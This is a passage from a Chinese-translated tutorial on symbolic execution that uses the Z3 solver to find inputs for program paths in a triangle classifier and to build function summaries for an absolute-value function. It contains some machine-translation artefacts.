+也就是说，任何跟踪此路径的执行都必须从`a`，`b`和`c`的值开始，这些值应遵守行号`2: (a == b)`的约束，其值为`True`，`3: (a == c)`的值为`True`和`4: (b == c)`评估为`True`。 我们是否可以生成满足这些约束的输入？
+
+我们已经从[一章中看到了关于保形模糊](ConcolicFuzzer.html)的内容，如何使用SMT求解器（例如Z3）来获得解决方案。
+
+```py
+import [z3](https://docs.python.org/3/library/z3.html)
+
+```
+
+我们需要什么样的符号变量？ 我们可以从函数的类型注释中获取该信息。
+
+```py
+def get_annotations(fn):
+    sig = inspect.signature(fn)
+    return ([(i.name, i.annotation)
+             for i in sig.parameters.values()], sig.return_annotation)
+
+```
+
+```py
+params, ret = get_annotations(check_triangle)
+params, ret
+
+```
+
+```py
+([('a', int), ('b', int), ('c', int)], int)
+
+```
+
+我们创建符号变量来表示每个参数
+
+```py
+Sym_Vars = {
+    int: (
+        z3.Int, z3.IntVal), float: (
+            z3.Real, z3.RealVal), str: (
+                z3.String, z3.StringVal)}
+
+```
+
+```py
+def get_symbolicparams(fn):
+    params, ret = get_annotations(fn)
+    return [Sym_Vars[typ][0](name)
+            for name, typ in params], Sym_Vars[ret][0]('__return__')
+
+```
+
+```py
+(a, b, c), r = get_symbolicparams(check_triangle)
+a, b, c, r
+
+```
+
+```py
+(a, b, c, __return__)
+
+```
+
+现在，我们可以要求 *z3* 为我们解方程组，如下所示。
+
+```py
+z3.solve(a == b, a == c, b == c)
+
+```
+
+```py
+[a = 0, b = 0, c = 0]
+
+```
+
+在这里，我们找到了程序中的第一个问题。 我们的程序似乎不检查边数是否大于零。 现在假设我们没有该限制。 我们的程序是否正确遵循所述路径？
+
+我们可以使用[章节中有关[conceptable fuzzing](ConcolicFuzzer.html) ]的`ArcCoverage`作为示踪剂来可视化该信息，如下所示。
+
+```py
+from [ConcolicFuzzer](ConcolicFuzzer.html) import ArcCoverage  # minor dependency
+
+```
+
+首先，我们恢复跟踪。
+
+```py
+with ArcCoverage() as cov:
+    assert check_triangle(0, 0, 0) == 'Equilateral'
+cov._trace, cov.arcs()
+
+```
+
+```py
+([('check_triangle', 1),
+  ('check_triangle', 2),
+  ('check_triangle', 3),
+  ('check_triangle', 4),
+  ('check_triangle', 5),
+  ('__exit__', 24),
+  ('__exit__', 25)],
+ [(1, 2), (2, 3), (3, 4), (4, 5), (5, 24), (24, 25)])
+
+```
+
+现在我们可以确定所采取的路径。
+
+### CFG的路径为
+
+```py
+show_cfg(check_triangle, arcs=cov.arcs())
+
+```
+
+<svg height="420pt" viewBox="0.00 0.00 700.00 420.00" width="700pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 416)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="303.5" y="-386.3">1: enter: check_triangle(a, b, c)</text></g> <g class="node" id="node9"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="303.5" y="-310.3">2: if: a == b</text></g> <g class="edge" id="edge7"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="347.5" y="-18.3">1: exit: check_triangle(a, b, c)</text></g> <g class="node" id="node3"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="155.5" y="-94.3">5: return 'Equilateral'</text></g> <g class="edge" id="edge1"><title>6->2</title></g> <g class="node" id="node4"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="302.5" y="-94.3">7: return 'Isosceles'</text></g> <g class="edge" id="edge2"><title>7->2</title></g> <g class="node" id="node5"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="61.5" y="-166.3">9: return 'Isosceles'</text></g> <g class="edge" id="edge3"><title>8->2</title></g> <g class="node" id="node6"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="485.5" y="-94.3">13: return 'Isosceles'</text></g> <g class="edge" id="edge4"><title>11->2</title></g> <g class="node" id="node7"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="630.5" y="-94.3">15: return 'Scalene'</text></g> <g class="edge" id="edge5"><title>12->2</title></g> <g class="node" id="node8"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="391.5" y="-166.3">17: return 'Isosceles'</text></g> <g class="edge" id="edge6"><title>13->2</title></g> <g class="node" id="node10"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="217.5" y="-238.3">3: if: a == c</text></g> <g class="edge" id="edge8"><title>3->4</title></g> <g class="node" id="node12"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="391.5" y="-238.3">11: if: b != c</text></g> <g class="edge" id="edge13"><title>3->9</title></g> <g class="edge" id="edge12"><title>4->8</title></g> <g class="node" id="node11"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="217.5" y="-166.3">4: if: b == c</text></g> <g class="edge" id="edge9"><title>4->5</title></g> <g class="edge" id="edge10"><title>5->6</title></g> <g class="edge" id="edge11"><title>5->7</title></g> <g class="edge" id="edge17"><title>9->13</title></g> <g class="node" id="node13"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="556.5" y="-166.3">12: if: a == c</text></g> <g class="edge" id="edge14"><title>9->10</title></g> <g class="edge" id="edge15"><title>10->11</title></g> <g class="edge" id="edge16"><title>10->12</title></g></g></svg>
+
+如您所见，采用的路径是`<path 1>`。
+
+类似地，为了解决`<path 2>`，我们只需要简单地反转<第2行>的条件：
+
+```py
+z3.solve(a == b, a == c, z3.Not(b == c))
+
+```
+
+```py
+no solution
+
+```
+
+象征性执行表明没有解决方案。 片刻的反思会让我们相信这确实是事实。 让我们继续其他路径。 可以通过将`<line 4>`处的条件取反来获得`<path 3>`。
+
+```py
+z3.solve(a == b, z3.Not(a == c))
+
+```
+
+```py
+[c = 0, b = 1, a = 1]
+
+```
+
+```py
+with ArcCoverage() as cov:
+    assert check_triangle(1, 1, 0) == 'Isosceles'
+[i for fn, i in cov._trace if fn == 'check_triangle']
+
+```
+
+```py
+[1, 2, 3, 9]
+
+```
+
+```py
+paths['<path 3>']
+
+```
+
+```py
+([1, 2, 3, 9], 'Isosceles')
+
+```
+
+路径< 4 >？4 >
+
+```py
+z3.solve(z3.Not(a == b), b != c, a == c)
+
+```
+
+```py
+[b = 0, c = 1, a = 1]
+
+```
+
+如前所述，我们的程序不考虑长度为零或为负的边。 我们可以修改程序以检查零输入和负输入。 但是，我们是否总是必须确保每个功能都必须考虑所有可能的输入？ `check_triangle`可能没有直接暴露给用户，它已经从另一个已经保证输入为正的函数中调用。 在关于动态不变量的[一章中，我们将展示如何发现这样的前提条件和后置条件。](DynamicInvariants.html)
+
+我们可以在这里轻松添加这样的前提条件。
+
+```py
+pre_condition = z3.And(a > 0, b > 0, c > 0)
+
+```
+
+```py
+z3.solve(pre_condition, z3.Not(a == b), b != c, a == c)
+
+```
+
+```py
+[c = 2, b = 1, a = 2]
+
+```
+
+```py
+with ArcCoverage() as cov:
+    assert check_triangle(1, 2, 1) == 'Isosceles'
+[i for fn, i in cov._trace if fn == 'check_triangle']
+
+```
+
+```py
+[1, 2, 11, 12, 13]
+
+```
+
+```py
+paths['<path 4>']
+
+```
+
+```py
+([1, 2, 11, 12, 13], 'Isosceles')
+
+```
+
+继续到路径< 5 >：5 >
+
+```py
+z3.solve(pre_condition, z3.Not(a == b), b != c, z3.Not(a == c))
+
+```
+
+```py
+[b = 2, a = 1, c = 3]
+
+```
+
+确实是*斜角*三角形。
+
+```py
+with ArcCoverage() as cov:
+    assert check_triangle(3, 1, 2) == 'Scalene'
+
+```
+
+```py
+paths['<path 5>']
+
+```
+
+```py
+([1, 2, 11, 12, 15], 'Scalene')
+
+```
+
+最后，对于`<path 6>`，该过程相似。
+
+```py
+z3.solve(pre_condition, z3.Not(a == b), z3.Not(b != c))
+
+```
+
+```py
+[c = 2, a = 1, b = 2]
+
+```
+
+```py
+with ArcCoverage() as cov:
+    assert check_triangle(2, 1, 1) == 'Isosceles'
+[i for fn, i in cov._trace if fn == 'check_triangle']
+
+```
+
+```py
+[1, 2, 11, 17]
+
+```
+
+```py
+paths['<path 6>']
+
+```
+
+```py
+([1, 2, 11, 17], 'Isosceles')
+
+```
+
+如果我们想要另一个解决方案怎么办？ 我们可以简单地要求求解器再次求解，而不能给我们相同的值。
+
+```py
+seen = [z3.And(a == 2, b == 1, c == 1)]
+
+```
+
+```py
+z3.solve(pre_condition, z3.Not(z3.Or(seen)), z3.Not(a == b), z3.Not(b != c))
+
+```
+
+```py
+[c = 2, a = 1, b = 2]
+
+```
+
+```py
+seen.append(z3.And(a == 1, b == 2, c == 2))
+
+```
+
+```py
+z3.solve(pre_condition, z3.Not(z3.Or(seen)), z3.Not(a == b), z3.Not(b != c))
+
+```
+
+```py
+[c = 1, a = 3, b = 1]
+
+```
+
+也就是说，使用简单的符号计算，我们可以轻松地看到（1）一些路径不可达，（2）一些条件不足-我们需要先决条件。 那么获得的总覆盖率呢？
+
+### 可视化覆盖范围
+
+可视化语句覆盖范围可以通过以下方式实现。
+
+```py
+class ArcCoverage(ArcCoverage):
+    def show_coverage(self, fn):
+        src = fn if isinstance(fn, str) else inspect.getsource(fn)
+        covered = set([lineno for method, lineno in self._trace])
+        for i, s in enumerate(src.split('\n')):
+            print('%s  %2d: %s' % ('#' if i + 1 in covered else ' ', i + 1, s))
+
+```
+
+我们运行在coverage跟踪器下获得的所有输入。
+
+```py
+with ArcCoverage() as cov:
+    assert check_triangle(0, 0, 0) == 'Equilateral'
+    assert check_triangle(1, 1, 0) == 'Isosceles'
+    assert check_triangle(1, 2, 1) == 'Isosceles'
+    assert check_triangle(3, 1, 2) == 'Scalene'
+    assert check_triangle(2, 1, 1) == 'Isosceles'
+
+```
+
+```py
+cov.show_coverage(check_triangle)
+
+```
+
+```py
+#  1: def check_triangle(a: int, b: int, c: int) -> int:
+#  2:     if a == b:
+#  3:         if a == c:
+#  4:             if b == c:
+#  5:                 return "Equilateral"
+   6:             else:
+   7:                 return "Isosceles"
+   8:         else:
+#  9:             return "Isosceles"
+  10:     else:
+# 11:         if b != c:
+# 12:             if a == c:
+# 13:                 return "Isosceles"
+  14:             else:
+# 15:                 return "Scalene"
+  16:         else:
+# 17:             return "Isosceles"
+  18: 
+
+```
+
+覆盖范围符合预期。 生成的值似乎覆盖了所有可以覆盖的代码。
+
+我们已经看到了如何推理程序的每个路径。 我们可以将它们组合在一起以产生表示程序行为的单个表达式吗？ 这是我们接下来要讨论的。
+
+### 函数摘要
+
+考虑该方程式以确定绝对值。
+
+```py
+def abs_value(x: float) -> float:
+    if x < 0:
+        v: float = -x
+    else:
+        v: float = x
+    return v
+
+```
+
+```py
+show_cfg(abs_value)
+
+```
+
+<svg height="366pt" viewBox="0.00 0.00 271.84 366.00" width="272pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 362)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="133.0444" y="-332.3">1: enter: abs_value(x)</text></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="133.0444" y="-255.3">2: if: x < 0</text></g> <g class="edge" id="edge2"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="133.0444" y="-18.3">1: exit: abs_value(x)</text></g> <g class="node" id="node3"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="133.0444" y="-95.3">6: return v</text></g> <g class="edge" id="edge1"><title>6->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="63.0444" y="-168.3">3: v: float = -x</text></g> <g class="edge" id="edge3"><title>3->4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="107.5444" y="-211.8">T</text></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="204.0444" y="-168.3">5: v: float = x</text></g> <g class="edge" id="edge4"><title>3->5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="176.0444" y="-211.8">F</text></g> <g class="edge" id="edge5"><title>4->6</title></g> <g class="edge" id="edge6"><title>5->6</title></g></g></svg>
+
+关于`line: 5`中`v`的值，我们能说什么？ 让我们追踪和查看。 首先，我们在`line: 1`有变量`x`。
+
+```py
+(x,), r = get_symbolicparams(abs_value)
+
+```
+
+在`line: 2`，我们在可能的路径上面临分歧。 因此，我们产生两条具有相应约束的路径。
+
+```py
+l2_F = x < 0
+l2_T = z3.Not(x < 0)
+
+```
+
+对于`line: 3`，我们只需要考虑`If`路径。 但是，我们有一个作业。 所以我们在这里使用一个新变量。 源中指示了*浮点型*类型，其等效的 *z3* 类型为*实型*。
+
+```py
+v_0 = z3.Real('v_0')
+l3 = z3.And(l2_F, v_0 == -x)
+
+```
+
+同样，对于`line: 5`，我们有一个分配。 （我们可以重用之前的变量`v_0`吗？）
+
+```py
+v_1 = z3.Real('v_1')
+l5 = z3.And(l2_T, v_1 == x)
+
+```
+
+当我们来到`line: 6`时，我们看到我们有*两个*输入流。 我们有一个选择。 我们可以像以前一样将每个路径分开。
+
+```py
+v = z3.Real('v')
+for s in [z3.And(l3, v == v_0), z3.And(l5, v == v_1)]:
+    z3.solve(x != 0, s)
+
+```
+
+```py
+[v_0 = 1/2, v = 1/2, x = -1/2]
+[v = 1, v_1 = 1, x = 1]
+
+```
+
+或者，我们可以将它们组合在一起并在`line: 6`处产生一个谓词。
+
+```py
+v = z3.Real('v')
+l6 = z3.Or(z3.And(l3, v == v_0), z3.And(l5, v == v_1))
+z3.solve(l6)
+
+```
+
+```py
+[v_0 = -1/2, v = 0, v_1 = 0, x = 0]
+
+```
+
+**注意。** 合并两个传入的执行流可能很简单，尤其是在多次遍历执行路径时（例如循环和递归）。 对于那些感兴趣的人，查找[推断循环不变式](https://www.st.cs.uni-saarland.de/publications/details/galeotti-hvc-2014/)。
+
+我们可以得到此结果来生成`abs()`的任何数量的解决方案，如下所示。
+
+```py
+s = z3.Solver()
+s.add(l6)
+for i in range(5):
+    if s.check() == z3.sat:
+        m = s.model()
+        x_val = m[x]
+        print(m)
+    else:
+        print('no solution')
+        break
+    s.add(z3.Not(x == x_val))
+s
+
+```
+
+```py
+[v_0 = -1/2, v = 0, v_1 = 0, x = 0]
+[v = 1, v_1 = 1, x = 1]
+[v = 1/2, v_1 = 1/2, x = 1/2]
+[v = 1/4, v_1 = 1/4, x = 1/4]
+[v = 1/8, v_1 = 1/8, x = 1/8]
+
+```
+
+```py
+[Or(And(And(x < 0, v_0 == -x), v == v_0),
+    And(And(Not(x < 0), v_1 == x), v == v_1)),
+ Not(0 == x),
+ Not(1 == x),
+ Not(1/2 == x),
+ Not(1/4 == x),
+ Not(1/8 == x)]
+
+```
+
+求解器不是特别随机的。 因此，我们需要一点帮助以产生负范围内的值。
+
+```py
+s.add(x < 0)
+for i in range(5):
+    if s.check() == z3.sat:
+        m = s.model()
+        x_val = m[x]
+        print(m)
+    else:
+        print('no solution')
+        break
+    s.add(z3.Not(x == x_val))
+
+s
+
+```
+
+```py
+[v_0 = 1, v = 1, x = -1]
+[v_0 = 2, v = 2, x = -2]
+[v_0 = 3, v = 3, x = -3]
+[v_0 = 4, v = 4, x = -4]
+[v_0 = 5, v = 5, x = -5]
+
+```
+
+```py
+[Or(And(And(x < 0, v_0 == -x), v == v_0),
+    And(And(Not(x < 0), v_1 == x), v == v_1)),
+ Not(0 == x),
+ Not(1 == x),
+ Not(1/2 == x),
+ Not(1/4 == x),
+ Not(1/8 == x),
+ x < 0,
+ Not(-1 == x),
+ Not(-2 == x),
+ Not(-3 == x),
+ Not(-4 == x),
+ Not(-5 == x)]
+
+```
+
+注意，在`line: 6`处产生的单个表达式本质上是`abs_value()`的摘要。
+
+```py
+abs_value_summary = l6
+abs_value_summary
+
+```
+
+```py
+Or(And(And(x < 0, v_0 == -x), v == v_0),
+   And(And(Not(x < 0), v_1 == x), v == v_1))
+
+```
+
+*z3* 求解器可以在可能的情况下简化谓词。
+
+```py
+z3.simplify(l6)
+
+```
+
+```py
+Or(And(Not(0 <= x), v_0 == -1*x, v == v_0),
+   And(0 <= x, v_1 == x, v == v_1))
+
+```
+
+当在其他地方使用`abs_value()`时，可以使用此摘要而不是追溯到`abs_value()`。 但是，这给我们带来了一个问题。 可能多次调用同一功能。 在这种情况下，使用相同的变量将导致冲突。 避免这种情况的一种方法是在*前缀*之前将某些调用特定的值赋给变量。
+
+```py
+import [ast](https://docs.python.org/3/library/ast.html)
+import [astor](https://docs.python.org/3/library/astor.html)
+
+```
+
+方法`prefix_vars()`修改表达式中的变量，以使变量以给定值为前缀。
+
+```py
+def prefix_vars(astnode, prefix):
+    if isinstance(astnode, ast.BoolOp):
+        return ast.BoolOp(astnode.op,
+                          [prefix_vars(i, prefix) for i in astnode.values], [])
+    elif isinstance(astnode, ast.BinOp):
+        return ast.BinOp(
+            prefix_vars(astnode.left, prefix), astnode.op,
+            prefix_vars(astnode.right, prefix))
+    elif isinstance(astnode, ast.UnaryOp):
+        return ast.UnaryOp(astnode.op, prefix_vars(astnode.operand, prefix))
+    elif isinstance(astnode, ast.Call):
+        return ast.Call(prefix_vars(astnode.func, prefix),
+                        [prefix_vars(i, prefix) for i in astnode.args],
+                        astnode.keywords)
+    elif isinstance(astnode, ast.Compare):
+        return ast.Compare(
+            prefix_vars(astnode.left, prefix), astnode.ops,
+            [prefix_vars(i, prefix) for i in astnode.comparators])
+    elif isinstance(astnode, ast.Name):
+        if astnode.id in {'And', 'Or', 'Not'}:
+            return ast.Name('z3.%s' % (astnode.id), astnode.ctx)
+        else:
+            return ast.Name('%s%s' % (prefix, astnode.id), astnode.ctx)
+    elif isinstance(astnode, ast.Return):
+        return ast.Return(prefix_vars(astnode.value, env))
+    else:
+        return astnode
+
+```
+
+为了应用`prefix_vars()`，需要使用Python表达式的AST。 解析Python源代码时，默认情况下将其包装在`Module`中。
+
+```py
+ast.parse('x+y')
+
+```
+
+```py
+<_ast.Module at 0xa1746ca20>
+
+```
+
+因此，为了更轻松地操作表达式AST，我们定义了`get_expression()`，它可以将其解包并返回表达式的AST表示。
+
+```py
+def get_expression(src):
+    return ast.parse(src).body[0].value
+
+```
+
+它的用法如下：
+
+```py
+e = get_expression('x+y')
+e
+
+```
+
+```py
+<_ast.BinOp at 0xa1746c898>
+
+```
+
+函数`to_src()`允许我们*解析*表达式。
+
+```py
+def to_src(astnode):
+    return astor.to_source(astnode).strip()
+
+```
+
+It is used as follows:
+
+```py
+to_src(e)
+
+```
+
+```py
+'(x + y)'
+
+```
+
+我们可以将两个片段组合在一起以产生一个前缀表达式，如下所示。
+
+```py
+abs_value_summary_ast = get_expression(str(abs_value_summary))
+print(to_src(prefix_vars(abs_value_summary_ast, 'x1_')))
+
+```
+
+```py
+z3.Or(z3.And(z3.And(x1_x < 0, x1_v_0 == -x1_x), x1_v == x1_v_0), z3.And(
+    z3.And(z3.Not(x1_x < 0), x1_v_1 == x1_x), x1_v == x1_v_1))
+
+```
+
+#### 获取使用的变量的名称和类型
+
+那使用的声明呢？ 假设我们在 *Z3* 中都有所有方程式，我们可以直接检索此信息。 我们定义`z3_names_and_types()`，它接受 *Z3* 表达式，并提取所需的变量定义。
+
+```py
+def z3_names_and_types(z3_ast):
+    hm = {}
+    children = z3_ast.children()
+    if children:
+        for c in children:
+            hm.update(z3_names_and_types(c))
+    else:
+        # HACK.. How else to distinguish literals and vars?
+        if (str(z3_ast.decl()) != str(z3_ast.sort())):
+            hm["%s" % str(z3_ast.decl())] = 'z3.%s' % str(z3_ast.sort())
+        else:
+            pass
+    return hm
+
+```
+
+```py
+abs_value_declarations = z3_names_and_types(abs_value_summary)
+abs_value_declarations
+
+```
+
+```py
+{'x': 'z3.Real', 'v_0': 'z3.Real', 'v': 'z3.Real', 'v_1': 'z3.Real'}
+
+```
+
+但是，`z3_names_and_types()`受限制，因为它需要 *Z3* AST才能运行。 因此，我们还定义了`used_identifiers()`，可以直接从任何Python表达式的字符串表示中提取标识符（包括 *Z3* 约束）。 这里的一个权衡是，我们无法跟踪类型信息。 但是我们稍后会看到如何恢复。
+
+```py
+def used_identifiers(src):
+    def names(astnode):
+        lst = []
+        if isinstance(astnode, ast.BoolOp):
+            for i in astnode.values:
+                lst.extend(names(i))
+        elif isinstance(astnode, ast.BinOp):
+            lst.extend(names(astnode.left))
+            lst.extend(names(astnode.right))
+        elif isinstance(astnode, ast.UnaryOp):
+            lst.extend(names(astnode.operand))
+        elif isinstance(astnode, ast.Call):
+            for i in astnode.args:
+                lst.extend(names(i))
+        elif isinstance(astnode, ast.Compare):
+            lst.extend(names(astnode.left))
+            for i in astnode.comparators:
+                lst.extend(names(i))
+        elif isinstance(astnode, ast.Name):
+            lst.append(astnode.id)
+        elif isinstance(astnode, ast.Expr):
+            lst.extend(names(astnode.value))
+        elif isinstance(astnode, (ast.Num, ast.Str, ast.Tuple, ast.NameConstant)):
+            pass
+        elif isinstance(astnode, ast.Assign):
+            for t in astnode.targets:
+                lst.extend(names(t))
+            lst.extend(names(astnode.value))
+        elif isinstance(astnode, ast.Module):
+            for b in astnode.body:
+                lst.extend(names(b))
+        else:
+            raise Exception(str(astnode))
+        return list(set(lst))
+    return names(ast.parse(src))
+
+```
+
+```py
+used_identifiers(str(abs_value_summary))
+
+```
+
+```py
+['x', 'v_0', 'v_1', 'v']
+
+```
+
+现在我们可以注册功能摘要`abs_value`供以后使用。
+
+```py
+Function_Summaries = {}
+Function_Summaries['abs_value'] = {
+    'predicate': str(abs_value_summary),
+    'vars': abs_value_declarations}
+
+```
+
+如前所述，我们不想依赖 *Z3* 来提取类型信息。 更好的替代方法是让用户将类型信息指定为注释，然后从程序中提取该信息。 接下来，我们将看到如何实现这一目标。
+
+首先，我们将 *Python类型转换为Z3类型*映射为其等效字符串。
+
+```py
+Sym_Vars_Str = {
+    k.__name__: ("z3.%s" % v1.__name__, "z3.%s" % v2.__name__)
+    for k, (v1, v2) in Sym_Vars.items()
+}
+Sym_Vars_Str
+
+```
+
+```py
+{'int': ('z3.Int', 'z3.IntVal'),
+ 'float': ('z3.Real', 'z3.RealVal'),
+ 'str': ('z3.String', 'z3.StringVal')}
+
+```
+
+我们还定义了一种方便的方法`translate_to_z3_name()`，用于访问符号变量的 *Z3* 类型。
+
+```py
+def translate_to_z3_name(v):
+    return Sym_Vars_Str[v][0]
+
+```
+
+现在，我们定义方法`declarations()`，该方法提取Python *语句*中使用的变量。 该想法是寻找包含带注释的类型信息的扩充分配。 这些被收集并返回。
+
+如果存在`call`节点，则它们表示函数调用。 这些函数调用中使用的变量从相应的函数摘要中恢复。
+
+```py
+def declarations(astnode, hm=None):
+    if hm is None:
+        hm = {}
+    if isinstance(astnode, ast.Module):
+        for b in astnode.body:
+            declarations(b, hm)
+    elif isinstance(astnode, ast.FunctionDef):
+        #hm[astnode.name + '__return__'] = translate_to_z3_name(astnode.returns.id)
+        for a in astnode.args.args:
+            hm[a.arg] = translate_to_z3_name(a.annotation.id)
+        for b in astnode.body:
+            declarations(b, hm)
+    elif isinstance(astnode, ast.Call):
+        # get declarations from the function summary.
+        n = astnode.function
+        assert isinstance(n, ast.Name)  # for now.
+        name = n.id
+        hm.update(dict(Function_Summaries[name]['vars']))
+    elif isinstance(astnode, ast.AnnAssign):
+        assert isinstance(astnode.target, ast.Name)
+        hm[astnode.target.id] = translate_to_z3_name(astnode.annotation.id)
+    elif isinstance(astnode, ast.Assign):
+        # verify it is already defined
+        for t in astnode.targets:
+            assert isinstance(t, ast.Name)
+            assert t.id in hm
+    elif isinstance(astnode, ast.AugAssign):
+        assert isinstance(astnode.target, ast.Name)
+        assert astnode.target.id in hm
+    elif isinstance(astnode, (ast.If, ast.For, ast.While)):
+        for b in astnode.body:
+            declarations(b, hm)
+        for b in astnode.orelse:
+            declarations(b, hm)
+    elif isinstance(astnode, ast.Return):
+        pass
+    else:
+        raise Exception(str(astnode))
+    return hm
+
+```
+
+这样，我们现在可以提取表达式中使用的变量。
+
+```py
+declarations(ast.parse('s: int = 3\np: float = 4.0\ns += 1'))
+
+```
+
+```py
+{'s': 'z3.Int', 'p': 'z3.Real'}
+
+```
+
+我们将`declarations()`包装在直接在功能对象上运行的方法`used_vars()`中。
+
+```py
+def used_vars(fn):
+    return declarations(ast.parse(inspect.getsource(fn)))
+
+```
+
+使用方法如下：
+
+```py
+used_vars(check_triangle)
+
+```
+
+```py
+{'a': 'z3.Int', 'b': 'z3.Int', 'c': 'z3.Int'}
+
+```
+
+```py
+used_vars(abs_value)
+
+```
+
+```py
+{'x': 'z3.Real', 'v': 'z3.Real'}
+
+```
+
+给定提取的变量及其 *Z3* 类型，我们需要一种在需要时重新实例化它们的方法。 我们定义`define_symbolic_vars()`，将这些描述转换为可以直接`exec()`编辑的形式。
+
+```py
+def define_symbolic_vars(fn_vars, prefix):
+    sym_var_dec = ', '.join([prefix + n for n in fn_vars])
+    sym_var_def = ', '.join(["%s('%s%s')" % (t, prefix, n)
+                             for n, t in fn_vars.items()])
+    return "%s = %s" % (sym_var_dec, sym_var_def)
+
+```
+
+Here is how it can be used:
+
+```py
+define_symbolic_vars(abs_value_declarations, '')
+
+```
+
+```py
+"x, v_0, v, v_1 = z3.Real('x'), z3.Real('v_0'), z3.Real('v'), z3.Real('v_1')"
+
+```
+
+接下来，我们定义`gen_fn_summary()`，它使用 *Z3* 以可实例化的形式返回函数摘要。
+
+```py
+def gen_fn_summary(prefix, fn):
+    summary = Function_Summaries[fn.__name__]['predicate']
+    fn_vars = Function_Summaries[fn.__name__]['vars']
+    decl = define_symbolic_vars(fn_vars, prefix)
+    summary_ast = get_expression(summary)
+    return decl, to_src(prefix_vars(summary_ast, prefix))
+
+```
+
+Here is how it can be used:
+
+```py
+gen_fn_summary('a_', abs_value)
+
+```
+
+```py
+("a_x, a_v_0, a_v, a_v_1 = z3.Real('a_x'), z3.Real('a_v_0'), z3.Real('a_v'), z3.Real('a_v_1')",
+ 'z3.Or(z3.And(z3.And(a_x < 0, a_v_0 == -a_x), a_v == a_v_0), z3.And(z3.And(\n    z3.Not(a_x < 0), a_v_1 == a_x), a_v == a_v_1))')
+
+```
+
+```py
+gen_fn_summary('b_', abs_value)
+
+```
+
+```py
+("b_x, b_v_0, b_v, b_v_1 = z3.Real('b_x'), z3.Real('b_v_0'), z3.Real('b_v'), z3.Real('b_v_1')",
+ 'z3.Or(z3.And(z3.And(b_x < 0, b_v_0 == -b_x), b_v == b_v_0), z3.And(z3.And(\n    z3.Not(b_x < 0), b_v_1 == b_x), b_v == b_v_1))')
+
+```
+
+我们如何使用函数摘要？ 这是使用`abs_value()`的函数`abs_max()`。
+
+```py
+def abs_max(a: float, b: float):
+    a1: float = abs_value(a)
+    b1: float = abs_value(b)
+    if a1 > b1:
+        c: float = a1
+    else:
+        c: float = b1
+    return c
+
+```
+
+为了象征性地跟踪此功能，我们首先定义两个变量`a`和`b`。
+
+```py
+a = z3.Real('a')
+b = z3.Real('b')
+
+```
+
+`line: 2`包含`a1`的定义，我们将其定义为符号变量。
+
+```py
+a1 = z3.Real('a1')
+
+```
+
+我们还需要调用`abs_value()`，其完成如下。 由于这是对`abs_value()`的首次调用，因此我们将`abs1`作为前缀。
+
+```py
+d, v = gen_fn_summary('abs1_', abs_value)
+d, v
+
+```
+
+```py
+("abs1_x, abs1_v_0, abs1_v, abs1_v_1 = z3.Real('abs1_x'), z3.Real('abs1_v_0'), z3.Real('abs1_v'), z3.Real('abs1_v_1')",
+ 'z3.Or(z3.And(z3.And(abs1_x < 0, abs1_v_0 == -abs1_x), abs1_v == abs1_v_0),\n    z3.And(z3.And(z3.Not(abs1_x < 0), abs1_v_1 == abs1_x), abs1_v == abs1_v_1))')
+
+```
+
+我们还需要将结果值`<prefix>_v`等于我们先前定义的符号变量`a1`。
+
+```py
+l2_src = "l2 = z3.And(a == abs1_x, a1 == abs1_v, %s)" % v
+l2_src
+
+```
+
+```py
+'l2 = z3.And(a == abs1_x, a1 == abs1_v, z3.Or(z3.And(z3.And(abs1_x < 0, abs1_v_0 == -abs1_x), abs1_v == abs1_v_0),\n    z3.And(z3.And(z3.Not(abs1_x < 0), abs1_v_1 == abs1_x), abs1_v == abs1_v_1)))'
+
+```
+
+同时应用声明和赋值。
+
+```py
+exec(d)
+exec(l2_src)
+
+```
+
+```py
+l2
+
+```
+
+```py
+And(a == abs1_x,
+    a1 == abs1_v,
+    Or(And(And(abs1_x < 0, abs1_v_0 == -abs1_x),
+           abs1_v == abs1_v_0),
+       And(And(Not(abs1_x < 0), abs1_v_1 == abs1_x),
+           abs1_v == abs1_v_1)))
+
+```
+
+我们需要对`line: 3`做同样的事情，但是要以`abs2`作为前缀。
+
+```py
+b1 = z3.Real('b1')
+d, v = gen_fn_summary('abs2_', abs_value)
+l3_src = "l3_ = z3.And(b == abs2_x, b1 == abs2_v, %s)" % v
+exec(d)
+exec(l3_src)
+
+```
+
+```py
+l3_
+
+```
+
+```py
+And(b == abs2_x,
+    b1 == abs2_v,
